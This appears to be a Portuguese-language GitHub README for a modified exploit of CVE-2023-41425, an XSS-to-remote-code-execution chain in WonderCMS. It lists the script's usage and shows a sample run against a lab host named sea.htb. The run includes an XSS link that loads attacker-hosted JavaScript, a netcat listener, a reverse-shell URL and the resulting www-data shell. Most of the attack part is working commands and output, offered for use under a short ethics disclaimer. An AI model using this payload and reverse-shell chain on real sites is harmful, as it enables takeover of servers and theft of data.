duck-sec/cve-2023-41425Exploit do CVE-2023-41425 (Wonder CMS XSS to RCE) que serve os scripts necessários localmente. Bom se você estiver perdido no mar e tiver encontrado um problema com a sua bicicleta.
Uma vulnerabilidade de Cross Site Scripting no Wonder CMS versão 3.2.0 até a versão 3.4.2 permite que um atacante remoto execute código arbitrário através de um script malicioso enviado ao componente installModule. Esta é uma versão modificada do exploit original por prodigiousMind que estende o exploit para servir o exploit inteiro localmente, sem dependência de uma conexão externa com a internet.
É útil se você estiver perdido no mar e encontrar um problema com sua bicicleta...
Nota: o xss.js foi deixado no repositório para fins de demonstração, o script irá sobrescrevê-lo com a sua configuração quando executado.
usage: exploit.py [-h] -u URL -lh LHOST -lp LPORT -sh SRVHOST -sp SRVPORT
WonderCMS 4.3.2 XSS to RCE Exploit
options:
-h, --help show this help message and exit
-u URL, --url URL The login URL of the WonderCMS site (e.g., http://localhost/wondercms/loginURL)
-lh LHOST, --lhost LHOST
The IP address for the reverse shell listener
-lp LPORT, --lport LPORT
The port for the reverse shell listener
-sh SRVHOST, --srvhost SRVHOST
The local IP serving the malicious XSS JavaScript
-sp SRVPORT, --srvport SRVPORT
The local port serving the malicious XSS JavaScript
Nota: Este exploit pode ser bastante lento para funcionar!
$python3 exploit.py -u http://sea.htb/loginURL -lh 10.10.14.101 -lp 7777 -sh 10.10.14.101 -sp 8888
##################################
# Wondercms 4.3.2 XSS to RCE #
# Original POC by prodigiousMind #
# Updated version by Ducksec #
##################################
Check you got this stuff right!
Parsed arguments:
URL: http://sea.htb/loginURL
LHOST: 10.10.14.101
LPORT: 7777
SRVHOST: 10.10.14.101
SRVPORT: 8888
[+] xss.js is created
[+] Execute the below command in another terminal:
----------------------------
nc -lvp 7777
----------------------------
Send the below link to admin:
----------------------------
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.101:8888/xss.js"></script><form+action="
----------------------------
[+] Ensure that main.zip is still in this directory.
[+] Once the target successfully requests main.zip it's safe to kill this script.
[+] Once complete, you can also re-exploit by requesting: http://sea.htb/themes/revshell-main/rev.php?lhost=10.10.14.101&lport=7777
Starting HTTP server to allow access to xss.js
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.129.178.129 - - [02/Oct/2024 14:39:51] "GET /xss.js HTTP/1.1" 200 -
10.129.178.129 - - [02/Oct/2024 14:40:01] "GET /main.zip HTTP/1.1" 200 -
10.129.178.129 - - [02/Oct/2024 14:40:01] "GET /main.zip HTTP/1.1" 200 -
10.129.178.129 - - [02/Oct/2024 14:40:01] "GET /main.zip HTTP/1.1" 200 -
10.129.178.129 - - [02/Oct/2024 14:40:01] "GET /main.zip HTTP/1.1" 200 -
$nc -nvlp 7777
listening on [any] 7777 ...
connect to [10.10.14.101] from (UNKNOWN) [10.129.178.129] 39958
Linux sea 5.4.0-190-generic #210-Ubuntu SMP Fri Jul 5 17:03:38 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
13:40:01 up 4 min, 0 users, load average: 0.93, 0.49, 0.20
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Este código é fornecido apenas para fins educacionais e de teste de segurança ética. Deve ser usado de forma responsável e apenas em ambientes onde a autorização explícita foi concedida. O uso não autorizado ou malicioso é estritamente proibido. Ao usar este código, você concorda em cumprir todas as leis, regulamentos e padrões éticos aplicáveis em sua jurisdição. Os criadores e contribuidores se eximem de qualquer responsabilidade por danos ou consequências decorrentes do uso indevido ou não autorizado deste código.